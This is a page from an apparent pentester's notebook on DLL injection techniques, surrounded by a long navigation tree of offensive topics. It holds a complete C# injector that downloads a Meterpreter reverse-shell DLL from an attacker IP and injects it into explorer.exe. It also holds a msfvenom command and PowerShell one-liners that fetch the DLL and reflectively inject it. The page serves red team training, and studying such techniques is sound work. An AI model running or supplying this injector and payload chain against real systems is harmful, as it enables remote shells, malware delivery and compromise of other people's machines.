Pentester's Promiscuous Notebook
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
      • Covenant
      • Empire
      • Havoc
      • Meterpreter
      • PoshC2
      • Sliver
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
          • dNSHostName Spoofing (Certifried)
          • ESC1
          • ESC4
          • ESC8
          • ESC15
          • Golden Certificate
          • Pass-the-Certificate
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • BadSuccessor
        • Credentials Harvesting
          • From Memory
            • lsass.exe
            • svchost.exe
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
        • Discovery
        • DnsAdmins
        • Dominance
        • GPO Abuse
        • Kerberos
          • Delegation Abuse
            • Constrained
            • Resource-based Constrained
            • Unconstrained
          • Kerberos Relay
          • Roasting
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
          • DCOM
          • Overpass-the-Hash
          • Pass-the-Hash
          • Pass-the-Ticket
          • RDP
          • RPC
          • RunAs
          • SMB
          • SPN-jacking
          • WinRM / PSRemoting
          • WMI
        • LDAP
        • NTLM
          • NTLM Relay
          • NTLMv1 Downgrade
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
        • On-Prem ↔ Cloud
          • Cloud → On-Prem
          • On-Prem → Cloud
        • PRT Abuse
      • DevOps
        • Ansible
        • Artifactory
        • Atlassian
        • Containerization / Orchestration
        • GitLab
        • HashiCorp Vault
        • Jenkins
        • VS Code
        • Zabbix
      • DBMS
        • FireBird
        • MS SQL
        • MySQL / MariaDB
        • Oracle
        • Redis
        • SQLite
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
        • L2
          • ARP Spoofing
          • DHCPv6 Spoofing
          • LLMNR / NBNS Poisoning
          • SNACs Abuse
          • VLAN Hopping
        • NAC Bypass
        • Scanning
        • SIP / VoIP
        • Sniff Traffic
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
      • Shodan
    • Password Brute Force
      • Generate Wordlists
    • Perimeter
      • 1C
      • ADFS
      • Cisco
      • DNS
      • Exchange
      • Information Gathering
      • IPSec
      • Java RMI
      • Log4j / Log4Shell
      • Lync & Skype for Business
      • NTP
      • Outlook
      • OWA
      • SharePoint
      • SMTP
      • SSH
      • Subdomain Takeover
    • Shells
      • Reverse Shells
      • Web Shells
    • Web
      • 2FA Bypass
      • LFI / RFI
      • SOP / CORS
      • SQLi
      • WAF
      • WordPress
      • XSS
    • Wi-Fi
      • WPA / WPA2
        • Enterprise
        • Personal
  • ⚔️Red Team
    • Basics
    • Cobalt Strike
      • UDRL
    • Infrastructure
    • MalDev
      • API Hashing
      • API Hooking
      • BOF / COFF
      • CFG
      • Code Injection
        • DLL Injectors
        • Process Hollowing
        • Process Injectors
        • Shellcode Runners
      • DLL Hijacking
      • Golang
      • Kernel Mode
      • PIC / Shellcode
      • Nim
      • Sandbox Evasion
      • Syscalls
      • Windows API
    • SE
      • Phishing
        • HTML Smuggling
        • MS Office
        • Rogue RDP
  • 🐞Exploit Dev
    • BOF
      • OSCP BOF
      • OSED SEH Overflow
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
      • Kali
    • Networking
      • DHCP Server & Linux Hotspot
      • Quick Configurations
      • Routing
      • WireGuard
    • Virtualization
      • Docker
      • Hyper-V
      • VirtualBox
      • VMWare
    • Windows
Powered by GitBook
On this page
  • Classic DLL Injection
  • C# Executable
  • Reflective DLL Injection (RDI)
  • Theory Basics
  • Custom LoadLibrary
  • Invoke-ReflectivePEInjection
  1. Red Team
  2. MalDev
  3. Code Injection

DLL Injectors

Inject DLLs into remote process's virtual address space

Last updated 2 months ago

Classic DLL Injection

C# Executable

A simple C# DLL injector to explain the basics:

  1. Allocate space for the malicious DLL name in remote process's virtual address space.

  2. Write the DLL name into the allocated space.

  3. Locate the address of the function in kernel32.dll with GetModuleHandle and GetProcAddress. Most Windows native DLLs are allocated at the same base address, so the obtained address of LoadLibraryA will be the same for the remote process.

  4. Invoke LoadLibraryA function on the behalf of the remote thread supplying base LoadLibraryA address as the 4th argument of CreateRemoteThread and the address of the DLL name to be loaded as the 5th argument.

All this is needed because LoadLibrary functions cannot be invoked natively on a remote process.

DLLInjector.cs
using System;
using System.Net;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

namespace DLLInjector
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {
            // Download the malicious DLL
            String dirName = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            String dllName = dirName + "\\met.dll";
            WebClient wc = new WebClient();
            // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f dll -o met.dll
            wc.DownloadFile("http://10.10.13.37/met.dll", dllName);

            // Get remote process handle
            Process[] pList = Process.GetProcessesByName("explorer");
            int processId = pList.First().Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);

            // Allocate space for the DLL name in remote process's virtual address space and write it
            IntPtr dllNameAddress = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            WriteProcessMemory(hProcess, dllNameAddress, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);

            // Locate base address of the LoadLibraryA function in kernel32.dll (this address will be the same for the remote process)
            IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

            // Invoke LoadLibraryA function in the remote process supplying starting address of the malicious DLL in its (process's) address space
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddress, dllNameAddress, 0, IntPtr.Zero);
        }
    }
}

Reflective DLL Injection (RDI)

Theory Basics

Custom LoadLibrary

Invoke-ReflectivePEInjection

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f dll -o met.dll
PS > $bytes = (New-Object Net.WebClient).DownloadData("http://10.10.13.37/met.dll")
PS > Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId (Get-Process explorer).Id

According to template that MSF is using to generate a DLL, there's another injection technique (Thread Execution Hijacking) which is invoked upon DLL_PROCESS_ATTACH event. That causes the DLL not to be loaded in the target process memory, but it rather forces new shellcode to be executed by rundll32.exe and the malicios process (meterpreter shell, etc.) gets the PID of rundll32.exe. It may also result in hanging the parent's process (explorer.exe in terms of this example) and crashing it when the shell dies.

⚔️
LoadLibraryA
this
in the DLL code itself
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/dismantl/ImprovedReflectiveDLLInjection
https://github.com/Moriarty2016/NimRDI
https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
https://github.com/Krypteria/AtlasLdr
https://oldboy21.github.io/posts/2023/12/all-i-want-for-christmas-is-reflective-dll-injection/
https://oldboy21.github.io/posts/2024/02/reflective-dll-got-indirect-syscall-skills/
https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm/
https://github.com/BlackHat-Ashura/Reflective_DLL_Injection
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++
https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/
https://github.com/OtterHacker/Conferences/tree/main/Defcon32
https://injectexp.dev/b/LoadLibraryReloaded
https://github.com/EvanMcBroom/perfect-loader
https://github.com/paskalian/WID_LoadLibrary
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-ReflectivePEInjection.ps1